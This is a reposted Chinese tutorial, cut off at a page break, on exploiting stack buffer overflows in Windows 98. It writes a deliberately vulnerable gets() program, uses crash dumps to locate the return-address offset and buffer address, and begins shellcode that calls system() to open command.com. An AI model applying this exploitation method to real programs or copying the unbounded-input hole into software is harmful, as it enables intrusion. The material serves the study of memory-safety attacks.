window系统下的堆栈溢出
作者:ipxodi<< mailto:ipxodi@263.net >> 【程序编程相关:C++虚函数调用的反汇编解析】
【推荐阅读:ASP.NET FORUMS换肤流程】
◆原理篇 【扩展信息:交换链接的原则】
这一讲我们来看看windows系统下的程序.我们的目的是研究如何利用windows程序的
堆栈溢出漏洞.
让我们从头开始.windows 98第二版
首先,我们来写一个问题程序:
#include <stdio.h>
int main()
{
char name[32];
gets(name);
for(int i=0;i<32&&name[i];i++)
printf("\\0x%x",name[i]);
}
相信大家都看出来了,gets(name)对name数组没有作边界检查.那么我们可以给程序
一个很长的串,肯定可以覆盖堆栈中的返回地址.
c:\program files\devstudio\myprojects\bo\debug>vunera~1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61
\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61
到这里,出现了那个熟悉的对话框“该程序执行了非法操作...”,太好了,点击
详细信息按钮,看到eip的值是0x61616161,哈哈,对话框还会把返回地址告诉我们.
这个功能太好了,我们可以选择一个序列的输入串,精确的确定存放返回地址的偏移位置.
c:\program files\devstudio\myprojects\bo\debug>vunera~1
12345678910111213141516171819202122232425262728293031323334353637383940
\0x31\0x32\0x33\0x34\0x35\0x36\0x37\0x38\0x39\0x31\0x30\0x31\0x31\0x31\0x32\0x31
\0x33\0x31\0x34\0x31\0x35\0x31\0x36\0x31\0x37\0x31\0x38\0x31\0x39\0x32\0x30\0x32
到这里,又出现了那个熟悉的对话框“改程序执行了非法操作...”,点击详细信息
按钮,下面是详细信息:
vunerable 在 00de:32363235 的模块
<未知> 中导致无效页错误.
registers:
eax=00000005 cs=017f eip=32363235 eflgs=00000246
ebx=00540000 ss=0187 esp=0064fe00 ebp=32343233
ecx=00000020 ds=0187 esi=816bffcc fs=11df
edx=00411a68 es=0187 edi=00000000 gs=0000
bytes at cs:eip:
stack dump:
32383237 33303339 33323331 33343333 33363335 33383337 c0000005 0064ff68
0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78 bff8b86c
哦哦,eip的内容为0x32363235,就是2625,ebp的内容为0x32343233,就是2423,计算
一下可以知道,在堆栈中,从name变量地址开始偏移36处,是ebp的地址,从name变量
地址开始偏移40处,是ret的地址.我们可以给name数组输入我们精心编写的shellcode.
我们只要把name的开始地址放在溢出字符串的地址40就可以了.那么,name的开始地址
是多少呢?
通过上面的stack dump 我们可以看到,当前esp所指向的地址0x0064fe00,内容为
0x32383237,那么计算得出,name的开始地址为:0x0064fe00-44=0x64fdd4.在windows
系统,其他运行进程保持不变的情况下.我们每次执行vunera~1的堆栈的开始地址都
是相同的.也就是说,每次运行,name的地址都是0x64fdd4.
讲到这里,大家一定已经发现了这样一个情况:在win系统中,由于有地址冲突检测,
出错时寄存器影像与堆栈影像,使得我们对堆栈溢出漏洞可以进行精确的分析
溢出偏移地址.这就使我们可以精确的方便的寻找堆栈溢出漏洞.
ok,万事具备,只差shellcode了.
首先,考虑一下我们的shellcode要作什么?显然,根据以往的经验,我们想开一个
dos窗口,这样在这个窗口下,我们就可以作很多事情.
开一个dos窗口的程序如下:
#include <windows.h>
#include <winbase.h>
typedef void (*myproc)(lptstr);
int main()
{
hinstance libhandle;
myproc procadd;
char dllbuf[11] = "msvcrt.dll";
char sysbuf[7] = "system";
char cmdbuf[16] = "command.com";
... 下一页